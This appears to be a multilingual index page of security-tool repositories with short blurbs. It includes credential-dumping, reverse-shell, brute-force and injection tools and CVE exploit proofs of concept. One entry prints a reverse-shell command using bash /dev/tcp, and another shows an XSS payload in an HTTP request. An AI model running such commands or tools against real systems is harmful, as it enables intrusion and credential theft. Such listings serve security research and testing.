OWASP-Calculator

OWASP 위험 평가 계산기 🧮 OWASP 위험 평가를 기반으로 웹 취약점의 위험을 평가하는 온라인 계산기 온라인 계산기로 이동 스페인에서 ❤️로 만듦...

BlueSAM

BlueSAM BOF Адаптация BlueHammer в виде Beacon Object File для Cobalt Strike, которая пытается получить копию базы данных SAM через обновления Windows Defender / поведение VSS и обрабатывать офлайн-данные реестра из Beacon. Авторство: Nightmare-Eclipse's BlueHammer...

wifi-bruteforcer-fsecurify

WiFi Bruteforcer - Fsecurify ПРЕДУПРЕЖДЕНИЕ: Этот проект всё ещё находится в разработке, и при установке приложение может сбросить настройки Wi-Fi вашей ОС Android, может потребоваться восстановление системы для их исправления. Android-приложение для брутфорса паролей WiFi без необходимости...

openvas-scanner

Сканер OpenVAS Это сканер OpenVAS из состава Greenbone Community Edition. Он используется в устройствах Greenbone Enterprise и представляет собой полнофункциональный движок сканирования, который выполняет постоянно обновляемый и расширяемый набор тестов на уязвимости VTs. Релизы Все файлы релизов...

WeblogicScan

WeblogicScan Инструмент для однокликового обнаружения уязвимостей Weblogic, V1.5 root@kitploit: Автор ПО: TideRabbitMask Отказ от ответственности: Pia!ｏ ‵-′ノ”ノ﹏。 Данный инструмент предназначен только для тестирования безопасности, не используйте его в незаконных целях, будьте послушными Функции V...

CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Эксплойт RCE через обход аутентификации XMLRPC в Cobbler ⚠️ Критическое удалённое выполнение кода через обход аутентификации в Cobbler 🛠️ PoC-реализация от @dollarboysushil 💡 Обзор Cobbler — сервер установки Linux, который обеспечивает быструю настройку сред сетевой установки,...

tomcat-cve-2020-1938-check

tomcat-cve-2020-1938-check...

PSAsyncShell

PSAsyncShell PSAsyncShell est un Reverse Shell TCP Asynchrone écrit en PowerShell pur. Contrairement à d'autres reverse shells, tout le flux de communication et d'exécution est fait de manière asynchrone, permettant de contourner certains pare-feux et certaines contre-mesures contre ce type de...

trajan

Trajan: Сканер безопасности CI/CD Trajan сканирует конвейеры CI/CD на уязвимости безопасности, которые злоумышленники используют для компрометации цепочек поставок ПО. Он поддерживает GitHub Actions, GitLab CI, Azure DevOps, Jenkins и JFrog. Что он делает Trajan анализирует YAML-файлы рабочих...

AtlasReaper

AtlasReaper AtlasReaper est un outil en ligne de commande développé à des fins de sécurité offensive, principalement axé sur la reconnaissance de Confluence et Jira. Il offre également diverses fonctionnalités utiles pour des tâches telles que la récupération d'identifiants et l'ingénierie social...

RemoteTLSCallbackInjection

Maldev Academy - RemoteTLSCallbackInjection Liens rapides Maldev Academy Home Maldev Academy Syllabus Modules Maldev Academy associés Nouveau Module 34 : Callbacks TLS pour l'anti-débogage Nouveau Module 35 : Injection sans thread Aperçu Cette méthode utilise les callbacks TLS pour exécuter une...

MultiDump

MultiDump MultiDump est un outil de post-exploitation écrit en C pour vider et extraire discrètement la mémoire LSASS, sans déclencher les alertes de Defender, avec un gestionnaire écrit en Python. Article de blog : https://xreous.io/posts/multidump MultiDump prend en charge le vidage LSASS via...

tcpreplay

Tcpreplay...

Osintgram

Osintgram 🔎📸 Osintgram est un outil OSINT sur Instagram pour collecter, analyser et effectuer des reconnaissances. Avertissement : UNIQUEMENT À DES FINS ÉDUCATIVES ! Les contributeurs n'assument aucune responsabilité quant à l'utilisation de cet outil. $$\colorredAvertissement :$$ Il est conseill...

CVE-2019-6440

CVE-2019-6440: 테스트된 제품: Zemana antimalware v.2.74.2.150 & Zemana antilogger v.2.74.204.150. v.2.74.2.664부터 수정됨 취약점 정보: 이 취약점으로 인해 공격자는 사용자 상호작용 없이 대상 시스템에서 SYSTEM 권한을 얻을 수 있었습니다. 요구 사항: 1. 공격자는 "POST /api/client/settings/" URL로 전송되는 POST 요청의 내용을 가로채고 변경할 수 있어야 합니다. 2. 대상 PC에 대한 물리적 접근이 필요하지 않습니다...

CVE-2009-4623

Advanced Comment System 1.0 - Удаленное выполнение команд RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 Примеры root@kitploit: python3 exploit.py http://127.0.0.1 uname -a root@kitploit: python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

CVE-2023-39062

CVE-2023-39062 Spipu Html2Pdf alertdocument.domain HTTP/1.1 Host: example.afine.com Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10.15; rv:109.0 Gecko/20100101 Firefox/113.0 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate...

Digital-Signature-Forgery-Attack

В этой статье мы рассмотрим криптографическую атаку подделки цифровой подписи Digital Signature Forgery Attack, последствия которой представляют угрозу безопасности транзакций в сети Биткоин, поскольку цифровые подписи подтверждают право собственности и авторизацию переводов криптовалюты. Мы...

nxboot

nxboot CLI tool for Nintendo Switch RCM payload launching Fusée Gelée. Uses Zig and libusb. Requirements Zig 0.15.2 Usage 1. Put the console in RCM and connect it to your machine via USB. 2. Run: root@kitploit: zig build -Doptimize=ReleaseSafe run -- /path/to/payload.bin Note: with a Debug build...

sharemylogin

ShareMyLogin Открытый исходный код Это открытый исходный код для ShareMyLogin.com. Что такое ShareMyLogin? ShareMyLogin — это безопасный инструмент для обмена чувствительной информацией например, паролями, ключами API или секретами конфигурации. Проблема Отправка пароля через Slack, Email или...